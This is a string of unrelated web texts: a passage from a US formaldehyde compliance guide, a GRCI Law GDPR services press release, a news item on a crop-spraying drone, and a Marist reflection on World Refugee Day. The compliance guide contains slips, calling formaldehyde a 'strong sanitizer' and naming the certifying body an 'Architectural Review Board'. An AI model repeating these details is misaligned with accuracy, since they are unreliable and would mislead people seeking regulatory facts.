When a product contains 1% or more of formaldehyde, manufacturers or importers should place a cautionary label alerting consumers that this product is a strong sanitizer and may cause irritation, allergy or other reactions of the skin or other parts of the body.
State Regulations
Some states in the United States have developed their own legislation in regard to the use of formaldehyde in consumer products. In the following section, we introduce formaldehyde regulations enforced in the state of California, Washington, Minnesota, and New York.
California Airborne Toxic Control Measure (ATCM)
The Airborne Toxic Control Measure is to reduce formaldehyde emissions from composite wood products and set rules on the formaldehyde emission standards for these products such as:
- Hardwood plywood
- Particleboard
- Medium-density fiberboards
The ATCM adopts the ASTM E 1333-96 Standard – Test Method for Determining Formaldehyde Concentrations in Air and Emission Rates from Wood Products as the testing standard and stipulates the formaldehyde contents for composite wood products as follow:
- Hardwood plywood (veneer core or composite core): Formaldehyde < 0.05 ppm
- Particleboard : Formaldehyde < 0.09 ppm
- Medium-density fiberboard: Formaldehyde < 0.11 ppm
- Thin MDF: Formaldehyde < 0.13 ppm
The ATCM also requires a third-party certification process for manufacturers and importers of formaldehyde-contained hardwood plywoods, particleboards, and medium density fiberboards to California. The third-party certification body must be approved by the Architectural Review Board (ARB).
California Proposition 65
California Proposition 65 puts formaldehyde into its list of chemicals that could cause cancers and organ failure. It declares that the formaldehyde (gas) level less than 40 μg/day contacted by humans shall be considered relatively safe and pose no significant risks to humans.
Currently, California Proposition 65 does not set Maximum Allowable Dose Levels (MADL) for formaldehyde content in consumer products. However, it offers suggestions and tips informing consumers of the hazardous formaldehyde, helping them to identify which products might contain formaldehyde and methods to reduce contact or inhalation with formaldehyde.
For example, customers could choose formaldehyde-free furniture, such as solid wood and stainless steel, instead of furniture made of composite wood, where formaldehyde is often used as the adhesives in these products.
In order to reduce contact with formaldehyde, consumers should also avoid choosing furniture made with urea-formaldehyde resins that do not carry a California Air Resources Board (CARB) Phase 2 compliant label.
Washington: Children's Safe Products Act
The Washington Children's Safe Products Act requires that manufacturers or importers must report to the Department of Ecology of the State of Washington when making to import children's products that contain formaldehyde.
Products that are intended to be used by children under the age of 12 could contain formaldehyde and are regulated by the act:
- Bedding
- Childcare articles
- Clothing
- Cosmetics
- Wooden toys
- Footwear
- School supplies
Minnesota: Bans on Formaldehyde for Children Products
The state of Minnesota prohibits the sales of certain formaldehyde-contained products that are marketed to children under the age of 8. By the definition of this law, children's products that are regulated by this act are mainly products that are designed to be applied to children's bodies, such as personal care and cosmetic products.
New York: Compulsory Notification Process of Toxic Chemicals in Children's Products
The State of New York requires that manufacturers or importers of children's products contain dangerous chemicals, including formaldehyde, must notify the state and retailers; bans the sale of children's products containing dangerous chemicals.
The activities of importing, sales, distribution of children's products containing formaldehyde will be banned starting from 2023.
Lab Testing
If you are a manufacturer or importer and you want to ensure your products are compliant with the applicable regulations concerning formaldehyde in the United States, you can contact a lab testing company that offers formaldehyde testing services.
These are reputable labs that offer such services with an extensive presence in the United States, Europe, and Asia:
- Intertek
- Eurofins
The costs for formaldehyde tests are around US$80-90 for general consumer products. However, the quotation might vary depending on the locations, tested materials, and quantities, prices can be different.
Compliance Risks
Products made for other countries and markets without strict formaldehyde regulations, may contain excessive amounts of the substance. In fact, it's not uncommon that manufacturers in low-cost manufacturing countries are entirely unaware of the formaldehyde contents in their materials. Our recommendation is to always request a suppliers existing lab test reports – to assess if they have a track record manufacturing and exporting formaldehyde-free products.
That said, you also need third-party lab testing to verify that your products are compliant with all applicable formaldehyde restrictions.


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As regulators step up enforcement of the General Data Protection Regulation (GDPR) across Europe and adopt a more robust approach, ensuring your organisation is compliant with the Regulation is vital. GRCI Law's flexible Privacy as a Service (PaaS) solution is designed to help you do just that.
Christina Maclean, Head of Business Development at GRCI Law, said: "We're pleased that GRCI Law can provide an all-encompassing privacy advice and support solution to organisations of all sizes. Our highly experienced team only advises on data privacy, cyber and information security, which means clients have access to experts with a proven track record who can provide pragmatic, commercial advice on a wide range of privacy management and compliance matters when they need it and in a way that suits them."
The GDPR Advice Service gives organisations access to unlimited advice and guidance from experienced data privacy consultants, allowing organisations to get prompt answers to critical GDPR questions and receive expert advice on a broad range of data privacy issues, including data subject access requests (DSARs), Article 30 records of processing and data breach reporting. The service also includes a monthly newsletter on noteworthy GDPR updates and privacy news to ensure clients stay abreast of the latest trends, rulings and best practice.
The Data Privacy Manager Service takes GRCI Law's support one step further, providing a dedicated data privacy manager and unlimited advice and guidance on compliance with the GDPR and Data Protection Act (DPA) 2018. It includes a gap analysis; an action plan; policy reviews; guidance on handling data protection impact assessments (DPIAs), DSARs and data breaches; monthly activity and quarterly management reports; and an annual compliance audit.
Incorporating all the support provided by the GDPR Advice Service and Data Privacy Manager Service, the DPO as a Service provides a dedicated DPO who is registered with the relevant supervisory authority and is truly independent, so there are no conflicts of interest with other business activities. The DPO provides hands-on support to manage an organisation's compliance and fulfil their obligations under the GDPR.
GRCI Law's team will be taking part in a live, online panel discussion around the privacy challenges organisations face in 2020, including addressing questions around privacy management, DSARs, data breaches and DPO responsibilities. The session takes place on 16 July 2020 from 3:00 – 4:00 pm (BST).
To find out more about the services and solutions offered by GRCI Law, please visit www.grcilaw.com, call +44 (0)333 900 5555 or email firstname.lastname@example.com.


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Drones are finding all kinds of applications in farming operations. One company has developed a drone that will replace your sprayer. Most drone applications involve taking pictures or collecting data on crop and soil conditions, but Fly Dragon, has turned a drone into a sprayer.
Jason wen, Fly Dragon, says using a drone to spay crops has a number of advantages, "We are nimble, quick, and responsive, while traditional technology is slow and heavy. This allows us to get into a field right after it rains when it is too wet and muddy. We can fly right over the top."
Most traditional sprayers involve tanks full of water and big spray booms. Drones take a different approach. Jason says they use an electrostatic spray, "We put a charge on the spray, and that helps it to wrap around leaves, and that leads to low and even coating." This allows them to just spray the active ingredient and not add water. He added it helps products last longer, so a small amount can cover a large area.
The system can read field maps from other data collection systems, and the drone will deliver just what is needed to just the areas of the field that need it. Jason hopes to have the system on the market for the 2019 growing season.
Contact: Fly Dragon Drone Tech.
Email: frank at dronefromchina.com


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The Bible tells us, in the Gospel according to St. Matthew (Mt 2:13-14), that Joseph was told by an angel of the Lord to flee to Egypt, together with Mary and the newborn Jesus.
"After they had departed, an angel of the Lord appeared to Joseph in a dream, saying to him, 'Arise, take the child and his mother, and flee to Egypt, and stay there until I tell you; for Herod will seek the child to kill him. And Joseph arose and took the child and his mother by night and fled into Egypt".
Sadly, human history is littered with STORIES of people having to leave their homes, their families, their lands, their lives… to go and live in the new, the unknown. And we say STORIES with capital letters because behind them are the lives of people who have suffered and are suffering from uprooting and vulnerability.
Every 20th June, the United Nations commemorates World Refugee Day. As Marists of Champagnat, we too today want to remember the people who are forced to leave their homeland and start a new life far from their homes. The United Nations, and we together with them, want to make this situation known, we want to take the side of those who are suffering.
In much of the world, the news reminds us of all those who have had to flee the barbarity of war in Ukraine. It is not just this country. There are too many situations of war, injustice, hunger… that drive thousands of people to abandon their lives in search of a life of peace and dignity.
Sometimes, without realizing it, we can be immersed in the thought that there are first- and second-class refugees. Why do the media tell us about the war in Ukraine and not in other parts of our world? Why are some leaders in favor of welcoming some refugees based on where they come from? Are we not also falling into the trap of distinguishing people by where they come from, or by their creed, or by the color of their skin? World Refugee Day 2022 reminds us that it should not matter who these people are, what religion they believe in, where they come from, when how or why they have been forced to flee.
Pope Francis, in Fratelli Tutti (11), tells us that we are always on the way, that we must fight every day to achieve justice and solidarity. We continue to see the need to continue on this path in the newspapers and the media. The world is often broken by pain, broken by the suffering of those who can only flee for their lives and those of their loved ones.
Also, the 22nd General Chapter of the Marist Brothers draws our attention to the need to "make a decisive commitment to defend" the dignity of refugees and migrants, seeking their inclusion in society.
As Marists of Champagnat we are called to respond to this desire of the Chapter. We have admirable projects that try to help thousands of displaced people in these situations. Let us think, for example, of the "Fratelli" project that has been going on for years in Lebanon. Initiatives that help to find work, that offer medical care, that provide psychological support services, and above all initiatives aimed at providing a suitable educational space adapted to personal characteristics and needs.
We cannot stand still, we cannot take refuge in the "I" and forget about the "we", which is where the true dignity of all human beings lies.